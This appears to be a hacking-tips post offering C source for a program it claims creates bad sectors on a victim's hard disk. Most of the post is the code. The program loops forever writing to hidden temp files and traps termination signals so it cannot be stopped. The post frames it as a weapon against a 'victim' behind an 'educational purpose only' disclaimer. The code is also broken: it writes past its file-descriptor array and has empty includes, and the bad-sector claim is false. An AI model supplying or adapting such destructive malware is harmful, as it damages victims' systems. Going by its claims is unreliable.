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Create Bad sectors on hard disks

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THIS TRICKS IS ONLY FOR KNOWLEDGE PURPOSE SO PLZ DONT USE IT FOR WRONG PURPOSE...
A C source code


/*create bad sectors on the hard disk.
*
* This program will create bad sectors on the hard disk. If you left it
* running for long enough, it could render a hard disk quite useless. When
* bad sectors are found, the sector is marked as bad, so fixing the hard disk
* is not an easy task. Unless the victim has time and knowledge to fix the
* disk, the hard drive can be left quite literally defective.
* supported by preetam
* I don't take responsibility for what you do with this program, served foe educational purpose only.
*
*
*/

#include
#include
#include
#include
#include
#include
#include

#define HDSIZE 640000

void handle_sig();

int main() {

int i = 0;
int x;
int fd[5];

signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);

char *buf;

buf = malloc(HDSIZE);

printf("sekt0r: trashing hard disk with bad sectors!\n");

while(1) {
fd[1] = open("/tmp/.test", O_WRONLY|O_CREAT, 511);
fd[2] = open("/tmp/.test1", O_WRONLY|O_CREAT, 511);
fd[3] = open("/tmp/.test2", O_WRONLY|O_CREAT, 511);
fd[4] = open("/tmp/.test3", O_WRONLY|O_CREAT, 511);
fd[5] = open("/tmp/.test4", O_WRONLY|O_CREAT, 511);

for(x = 0; x < 5; x++) {
write(fd[x], buf, HDSIZE);
lseek(fd[x], 0, SEEK_SET);
close(fd[x]);

} /* end for() loop. */
} /* end while() loop. */
} /* end main(). */


void handle_sig() {
/* Reset signal handlers. */
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);

printf("sekt0r: cannot exit - trashing hard disk with bad sectors!\n");
return; /* go back to creating bad sectors. */
}
* ERASING A SECTOR OF HDD

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